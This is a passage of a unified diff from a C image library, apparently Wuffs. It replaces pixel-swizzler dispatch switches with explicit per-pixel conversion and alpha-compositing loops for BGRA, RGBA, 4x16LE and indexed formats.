dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, +- src_palette.len) != +- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { +- return NULL; +- } +- return wuffs_base__pixel_swizzler__xxxx__index__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- if (wuffs_base__pixel_swizzler__swap_rgbx_bgrx( +- dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, +- src_palette.len) != +- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { +- return NULL; +- } +- return wuffs_base__pixel_swizzler__bgra_premul__index_bgra_nonpremul__src_over; +- } +- return NULL; ++ size_t n = len; ++ while (n >= 1) { ++ uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); ++ uint64_t s0 = wuffs_base__color_u32__as__color_u64( ++ wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); ++ wuffs_base__poke_u64le__no_bounds_check( ++ d + (0 * 8), ++ wuffs_private_impl__composite_nonpremul_nonpremul_u64_axxx(d0, s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +- // TODO. +- break; ++ s += 1 * 4; ++ d += 1 * 8; ++ n -= 1; + } +- return NULL; ++ return len; + } + +-static wuffs_base__pixel_swizzler__func // +-wuffs_base__pixel_swizzler__prepare__indexed__bgra_binary( +- wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_format dst_pixfmt, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__slice_u8 src_palette, +- wuffs_base__pixel_blend blend) { +- switch (dst_pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: +- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return NULL; +- } +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__copy_1_1; +- } +- return NULL; +- +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- if (wuffs_base__pixel_swizzler__squash_align4_bgr_565_8888( +- dst_palette.ptr, dst_palette.len, src_palette.ptr, +- src_palette.len, false) != +- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { +- return NULL; +- } +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr_565__index__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr_565__index_binary_alpha__src_over; +- } +- return NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__rgba_premul__src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; + +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return NULL; +- } +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__xxx__index__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__xxx__index_binary_alpha__src_over; +- } +- return NULL; ++ size_t n = len; ++ while (n >= 1) { ++ uint64_t s0 = wuffs_base__color_u32__as__color_u64( ++ wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( ++ wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))))); ++ wuffs_base__poke_u64le__no_bounds_check(d + (0 * 8), s0); + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: +- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return NULL; +- } +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__xxxx__index__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__xxxx__index_binary_alpha__src_over; +- } +- return NULL; ++ s += 1 * 4; ++ d += 1 * 8; ++ n -= 1; ++ } ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: +- if (wuffs_base__slice_u8__copy_from_slice(dst_palette, src_palette) != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return NULL; +- } +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__xxxxxxxx__index__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__xxxxxxxx__index_binary_alpha__src_over; +- } +- return NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__rgba_premul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; + +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- if (wuffs_base__pixel_swizzler__swap_rgbx_bgrx( +- dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, +- src_palette.len) != +- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { +- return NULL; +- } +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__xxx__index__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__xxx__index_binary_alpha__src_over; +- } +- return NULL; ++ size_t n = len; ++ while (n >= 1) { ++ uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); ++ uint64_t s0 = wuffs_base__color_u32__as__color_u64( ++ wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); ++ wuffs_base__poke_u64le__no_bounds_check( ++ d + (0 * 8), ++ wuffs_private_impl__composite_nonpremul_premul_u64_axxx(d0, s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: +- if (wuffs_base__pixel_swizzler__swap_rgbx_bgrx( +- dst_palette.ptr, dst_palette.len, NULL, 0, src_palette.ptr, +- src_palette.len) != +- (WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH / 4)) { +- return NULL; +- } +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__xxxx__index__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__xxxx__index_binary_alpha__src_over; +- } +- return NULL; ++ s += 1 * 4; ++ d += 1 * 8; ++ n -= 1; + } +- return NULL; ++ return len; + } + +-static wuffs_base__pixel_swizzler__func // +-wuffs_base__pixel_swizzler__prepare__bgr_565( +- wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_format dst_pixfmt, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__slice_u8 src_palette, +- wuffs_base__pixel_blend blend) { +- switch (dst_pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- return wuffs_base__pixel_swizzler__copy_2_2; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__ya_nonpremul__src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len8 < src_len2) ? dst_len8 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; + +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- return wuffs_base__pixel_swizzler__bgr__bgr_565; ++ size_t n = len; ++ while (n >= 1) { ++ uint64_t s0 = ((uint64_t)(s[1]) * 0x0101000000000000) | ++ ((uint64_t)(s[0]) * 0x0000010101010101); ++ wuffs_base__poke_u64le__no_bounds_check(d + (0 * 8), s0); + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +- return wuffs_base__pixel_swizzler__bgrw__bgr_565; ++ s += 1 * 2; ++ d += 1 * 8; ++ n -= 1; ++ } ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: +- return wuffs_base__pixel_swizzler__bgrw_4x16le__bgr_565; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__ya_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len8 < src_len2) ? dst_len8 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; + +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- return wuffs_base__pixel_swizzler__rgb__bgr_565; ++ size_t n = len; ++ while (n >= 1) { ++ uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); ++ uint64_t s0 = ((uint64_t)(s[1]) * 0x0101000000000000) | ++ ((uint64_t)(s[0]) * 0x0000010101010101); ++ wuffs_base__poke_u64le__no_bounds_check( ++ d + (0 * 8), ++ wuffs_private_impl__composite_nonpremul_nonpremul_u64_axxx(d0, s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +- return wuffs_base__pixel_swizzler__rgbw__bgr_565; ++ s += 1 * 2; ++ d += 1 * 8; ++ n -= 1; + } +- return NULL; ++ return len; + } + +-static wuffs_base__pixel_swizzler__func // +-wuffs_base__pixel_swizzler__prepare__bgr(wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_format dst_pixfmt, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__slice_u8 src_palette, +- wuffs_base__pixel_blend blend) { +- switch (dst_pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- return wuffs_base__pixel_swizzler__bgr_565__bgr; +- +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- return wuffs_base__pixel_swizzler__copy_3_3; ++// -------- + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +- return wuffs_base__pixel_swizzler__bgrw__bgr; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul__src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE: +- return wuffs_base__pixel_swizzler__bgrw_4x16le__bgr; ++ // TODO: unroll. + +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- return wuffs_base__pixel_swizzler__swap_rgb_bgr; ++ while (n >= 1) { ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul(s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- if (wuffs_base__cpu_arch__have_x86_sse42()) { +- return wuffs_base__pixel_swizzler__bgrw__rgb__x86_sse42; +- } +-#endif +- return wuffs_base__pixel_swizzler__bgrw__rgb; ++ s += 1 * 4; ++ d += 1 * 4; ++ n -= 1; + } +- return NULL; +-} + +-static wuffs_base__pixel_swizzler__func // +-wuffs_base__pixel_swizzler__prepare__bgra_nonpremul( +- wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_format dst_pixfmt, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__slice_u8 src_palette, +- wuffs_base__pixel_blend blend) { +- switch (dst_pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr_565__bgra_nonpremul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr_565__bgra_nonpremul__src_over; +- } +- return NULL; ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr__bgra_nonpremul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr__bgra_nonpremul__src_over; +- } +- return NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul_4x16le__src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len8 = src_len / 8; ++ size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__copy_4_4; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_nonpremul__src_over; +- } +- return NULL; ++ // TODO: unroll. + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_nonpremul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_nonpremul__src_over; +- } +- return NULL; ++ while (n >= 1) { ++ uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul(s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src_over; +- } +- return NULL; ++ s += 1 * 8; ++ d += 1 * 4; ++ n -= 1; ++ } + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +- // TODO. +- break; ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr__rgba_nonpremul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr__rgba_nonpremul__src_over; +- } +- return NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- if (wuffs_base__cpu_arch__have_x86_sse42()) { +- return wuffs_base__pixel_swizzler__swap_rgbx_bgrx__x86_sse42; +- } +-#endif +- return wuffs_base__pixel_swizzler__swap_rgbx_bgrx; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__rgba_nonpremul__src_over; +- } +- return NULL; ++ // TODO: unroll. + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul__src_over; +- } +- return NULL; ++ while (n >= 1) { ++ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_private_impl__composite_premul_nonpremul_u32_axxx(d0, s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +- // TODO. +- break; ++ s += 1 * 4; ++ d += 1 * 4; ++ n -= 1; + } +- return NULL; ++ ++ return len; + } + +-static wuffs_base__pixel_swizzler__func // +-wuffs_base__pixel_swizzler__prepare__bgra_nonpremul_4x16le( +- wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_format dst_pixfmt, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__slice_u8 src_palette, +- wuffs_base__pixel_blend blend) { +- switch (dst_pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr_565__bgra_nonpremul_4x16le__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr_565__bgra_nonpremul_4x16le__src_over; +- } +- return NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul_4x16le__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len8 = src_len / 8; ++ size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr__bgra_nonpremul_4x16le__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr__bgra_nonpremul_4x16le__src_over; +- } +- return NULL; ++ // TODO: unroll. + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_nonpremul_4x16le__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_nonpremul_4x16le__src_over; +- } +- return NULL; ++ while (n >= 1) { ++ uint64_t d0 = wuffs_base__color_u32__as__color_u64( ++ wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4))); ++ uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_base__color_u64__as__color_u32( ++ wuffs_private_impl__composite_premul_nonpremul_u64_axxx(d0, s0))); + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__copy_8_8; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_nonpremul_4x16le__src_over; +- } +- return NULL; +- +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul_4x16le__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul_4x16le__src_over; +- } +- return NULL; ++ s += 1 * 8; ++ d += 1 * 4; ++ n -= 1; ++ } + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +- // TODO. +- break; ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr__rgba_nonpremul_4x16le__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr__rgba_nonpremul_4x16le__src_over; +- } +- return NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_premul__bgra_premul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__rgba_nonpremul__bgra_nonpremul_4x16le__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__rgba_nonpremul__bgra_nonpremul_4x16le__src_over; +- } +- break; ++ // TODO: unroll. + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul_4x16le__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul_4x16le__src_over; +- } +- return NULL; ++ while (n >= 1) { ++ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_private_impl__composite_premul_premul_u32_axxx(d0, s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +- // TODO. +- break; ++ s += 1 * 4; ++ d += 1 * 4; ++ n -= 1; + } +- return NULL; +-} + +-static wuffs_base__pixel_swizzler__func // +-wuffs_base__pixel_swizzler__prepare__bgra_premul( +- wuffs_base__pixel_swizzler* p, +- wuffs_base__pixel_format dst_pixfmt, +- wuffs_base__slice_u8 dst_palette, +- wuffs_base__slice_u8 src_palette, +- wuffs_base__pixel_blend blend) { +- switch (dst_pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr_565__bgra_premul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr_565__bgra_premul__src_over; +- } +- return NULL; ++ return len; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr__bgra_premul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr__bgra_premul__src_over; +- } +- return NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_premul__index_bgra_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ if (dst_palette_len != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return 0; ++ } ++ size_t dst_len4 = dst_len / 4; ++ size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_premul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul__bgra_premul__src_over; +- } +- return NULL; ++ // TODO: unroll. + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_premul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_premul__src_over; +- } +- return NULL; ++ while (n >= 1) { ++ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[0] * 4)); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_private_impl__composite_premul_nonpremul_u32_axxx(d0, s0)); + +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__copy_4_4; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgra_premul__bgra_premul__src_over; +- } +- return NULL; ++ s += 1 * 1; ++ d += 1 * 4; ++ n -= 1; ++ } + +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- switch (blend) { +- case WUFFS_BASE__PIXEL_BLEND__SRC: +- return wuffs_base__pixel_swizzler__bgr__rgba_premul__src; +- case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: +- return wuffs_base__pixel_swizzler__bgr__rgba_premul__src_over; +- } +- return 